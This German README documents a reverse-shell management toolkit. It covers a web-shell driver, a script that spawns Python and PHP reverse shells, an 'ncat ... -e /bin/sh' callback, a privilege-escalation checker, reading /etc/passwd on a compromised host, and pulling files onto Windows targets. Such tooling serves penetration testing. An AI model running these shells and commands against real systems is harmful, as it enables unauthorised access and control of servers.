
Suite zur Handhabung von Reverse Shells, zugeschnitten auf die Arbeit in der nativen Shell
Beginn eines Linux-Toolsets für die Verwaltung und Interaktion mit Reverse Shells (der Code befindet sich derzeit noch in einem Quick-and-Dirty-Zustand, mit wenig Exception-Behandlung). Stark inspiriert von der UNIX-Philosophie besteht die Grundidee darin, einen Daemon für die Verwaltung beliebiger Endpunkte zu haben (connd, obwohl es noch kein richtiger Daemon ist, aber in einem separaten Terminal laufen kann) und Tools gegen diese Endpunkte auszuführen.
Endpunkte werden von einem Skript oder einem Prozess 'angetrieben' und als Dateien im Dateisystem verfügbar gemacht. Anschließend kann ein schlanker Software-Client verwendet werden, um mit ihnen zu interagieren, aber sie können genauso einfach mit Shell-Befehlen beschrieben und gelesen werden. Tatsächlich ist die Möglichkeit, die Skripte eigenständig von der Shell aus auszuführen, ein wichtiges Design-Kriterium, bei dem idealerweise ein Skript höchstens von einem vorhandenen Endpunkt abhängt, aber auch in Kombination verwendet werden kann (ineinander greifen).
Die aktuellen Endpunktoptionen sind:
Der schlanke Software-Client (hthinc.py) bietet eine grundlegende Schnittstelle zum Endpunkt des Systems sowie die Möglichkeit, schnell Skripte gegen das System auszuführen. Es wurden mehrere einfache, aber nützliche Skripte geschrieben:
Die Arten von Reverse-Shell-Treibern (d. h. was die Shell auf dem entfernten System antreibt) sind die folgenden (derzeit Unterstützung für Linux):
Weitere Skripte:
Weisen Sie connd an, einen Endpunkt zu starten, unter Verwendung eines Wedge-Shell-Treibers gegen das bereitgestellte PHP-Skript, das Systemaufrufe mit formatierter Antwort durchführt. Dieses einzeilige Skript hätte jedoch genauso gut als Code in ein Server-Log injiziert werden können.
$ hconnd.py start wsh http://example.com/hwsh.php
1
Dadurch wurde Endpunkt 1 erstellt (zwei I/O-Pipes -- Sie können sie als t1i und t1o im Unterverzeichnis run sehen). Jetzt verwenden wir hthinc.py, um mit der Shell zu interagieren.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Wir wissen, dass es sich um eine Linux-Box handelt. Wir wollen von einer eingeklemmten Web-Shell weg und eine richtige Shell bekommen. Die Ausführung des integrierten Befehls !help liefert die thinc-Hilfemeldung. Wir können ein Skript sp ausführen, das automatisch Befehle gegen das entfernte System ausführt, die Umgebung enumeriert, einen nc-Endpunkt startet, eine Reverse-Shell erzeugt und automatisch über ein neues hthinc.py einsteigt:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Oder wenn wir wissen, dass wir (zum Beispiel) PHP als Treiber verwenden, können wir das angeben:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Und wenn wir eine Shell ohne TTY haben oder ausbrechen wollen, können wir eines der Standard-Makros ausführen:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
Wenn wir außerdem die Ausgabe eines Befehls protokollieren möchten, können wir das log-Skript verwenden, das sie im aktuellen Arbeitsverzeichnis speichert:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Während Endpunkte laufen, können Sie Clients anhängen/abhängen, da die Verbindungsprozesse vom Daemon verwaltet werden.
Da alles auf eine eher unix-artige Weise ausgeführt werden kann, können wir Prozesse schnell von der Shell aus wiederholen. Wir starten einen Webshell-Endpunkt, erhalten die Endpunkt-ID und führen dann von der Shell aus das Spawner-Skript sp.py gegen den Endpunkt aus (es ist dasselbe Skript wie in hthinc.py, verwendet jedoch einen anderen Einstiegspunkt).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
oder als Einzeiler:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
und einfach automatisieren:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
Das Tool hcmd.py ermöglicht es Ihnen, schnell einen Befehl über einen Endpunkt von Ihrer Shell aus auszuführen.
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
und die Ergebnisse wie gewohnt zu pipen oder umzuleiten
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
Sie können das Verb list für hconn.py verwenden, um die aktuelle Liste der Endpunkte anzuzeigen, mit dem Status der Verbindung, falls relevant.
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
Richten Sie einen Wedge-Shell-Endpunkt ein:
$ hconn.py start wsh http://example.com/hwsh.php
1
Jetzt können wir einen Netcat-Listener auf Port 4444 einrichten:
$ hconn.py start nc 4444
2
Und dann über die Eingabedatei in den Wedge-Shell-Endpunkt (eid 1) schreiben:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
Dadurch sollte eine Shell zurück an den Netcat-Listener gesendet worden sein. Hängen Sie den Thin Client an den Netcat-Endpunkt (eid 2) an, und wir sollten eine weitere wartende Shell haben:
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Die Verallgemeinerung der Shell-Schnittstelle auf Dateien bedeutet, dass Skripte, die gegen einen Webshell-Endpunkt verwendet werden, auch gegen einen Netcat-Reverse-Shell-Endpunkt funktionieren. Sie können Skripte über ihren absoluten Pfad ($HCROOT/share/script/*.py) aufrufen oder das Hilfsskript hscr.py verwenden.
Wir können sp.py gegen den Netcat-Endpunkt ausführen und eine weitere Reverse-Shell erzeugen:
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
und das Äquivalent mit absolutem Pfad wäre $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1
oder wir können den Linux Priv Escalation Checker gegen eine Webshell ausführen:
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
und wir können sie innerhalb einer hthinc.py-Instanz aufrufen.
!run lpc
Umgebungsvariablen können verwendet werden, um globale Werte zu definieren. Es gibt drei Variablenebenen, jede mit niedrigerer Priorität als die nächste:
Die Ressourcen-Dateivariablen sind in $HCROOT/.hcrc definiert. Sie haben die niedrigste Priorität, können aber verwendet werden, um eine Verschmutzung der systemweiten Umgebungsvariablen zu vermeiden.
Die Umgebungs-/Shell-Variablen werden von der Shell in den Prozess eingebracht und mit HCV_ präfixiert. Sie werden mit den Ressourcenvariablen zusammengeführt und überschreiben bereits vorhandene Werte.
Die Inline-Variablen überschreiben alles, was zuvor definiert wurde.
Für diese Beispiele ist LHOST=127.0.0.1 als Ressourcenvariable in .hcrc definiert und die Skriptverwendung ist ./script LPORT [LHOST].
Das folgende Skript wird LHOST=127.0.0.1 und LPORT=4455 haben (Ressourcenvariable):
$ ./script 4455
Das folgende Skript wird LHOST=192.168.1.101 und LPORT=4455 haben (Shell-Variable):
$ HCV_LHOST=192.168.1.101 ./script 4455
Das folgende Skript wird LHOST=10.10.10.125 haben (Inline-Variable):
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125
Die gleichen Prinzipien können auf hthinc.py !run SCR angewendet werden (beachten Sie: Umgebungs-/Shell-Variablen sind diejenigen, die an ./hthinc.py übergeben werden).
Der Portal-Server ist ein einfacher HTTP-Server, der verwendet werden kann, um Dateien mithilfe von Skripten auf das entfernte System zu ziehen. Diese Skripte fungieren tendenziell als Makros um den Befehl herum und erzeugen eine einheitlichere Interaktion über Plattformen hinweg. Der Server verarbeitet Dateien relativ zu $HCROOT/share/disp/.
hpd.py läuft auf Port 80. DHOST und DPORT sind in .hcrc als 127.0.0.1 bzw. 80 definiert (sie zeigen auf den Dispatch-Server). Das bedeutet, dass ich diese Variablen beim Aufruf des Skripts nicht eingeben muss. Wenn sie jedoch anders sein müssen, fügen wir sie einfach als Inline-Variablen wie die Variable FILE= hinzu.
Wir rufen die Skripte von hthinc.py aus auf, aber wir können diese Skripte auch von unserer üblichen Shell aus ausführen, indem wir ihnen eine Endpunkt-ID in der Befehlszeile übergeben. Wenn DHOST und DPORT bereits definiert sind, müssen wir sie nicht in die Befehlszeile aufnehmen.
Dafür verwenden wir PowerShell über pspull, um die Datei zu ziehen:
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Hier haben wir kein PowerShell, also müssen wir das Portal-Skript initialisieren und dann die Datei ziehen:
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+] Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful
Das pull-Skript wird für Linux verwendet:
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Nur um die Inline-Variablen zu verdeutlichen:
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful
Makros sind im Makro-Abschnitt von $HCROOT/.hcrc definiert und werden vom mac-Skript aufgerufen. In dieser grundlegenden Form ähneln sie einem Alias in einer Shell und sind effektiv einfache Einweg-Skripte, die einen Befehl über den Endpunkt an die entfernte Shell senden. Es ist einfacher, regelmäßig verwendete, aber aufwändige Befehlsfolgen an Makros zu binden.
Das Aufrufen des mac-Skripts aus einer hthinc.py-Sitzung beinhaltet die Verwendung einer unbenannten Variable, also einer Variable ohne Bezeichnung. Dadurch können Makros wie ein Befehlszeilenparameter an das Skript übergeben werden.
Auch hier können die Makros von Ihrer üblichen Shell aus mit demselben mac.py-Skript aufgerufen werden.
Dieses Beispiel ruft das pty-Makro in einer instabilen Shell auf. Das Makro ist ein Alias für python -c 'import pty; pty.spawn("/bin/bash")':
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$
Das Äquivalent zur Ausführung über die Befehlszeile auf (z. B.) Endpunkt 5 wäre hscr.py 5 mac pty. Wenn Sie das nächste Mal einen Client an den Endpunkt anhängen, sollte dieser mit einem tty laufen.
Die Eingabe von !run mac --list zeigt die Liste der Makros an.
Zum Kompilieren von connd:
go build connd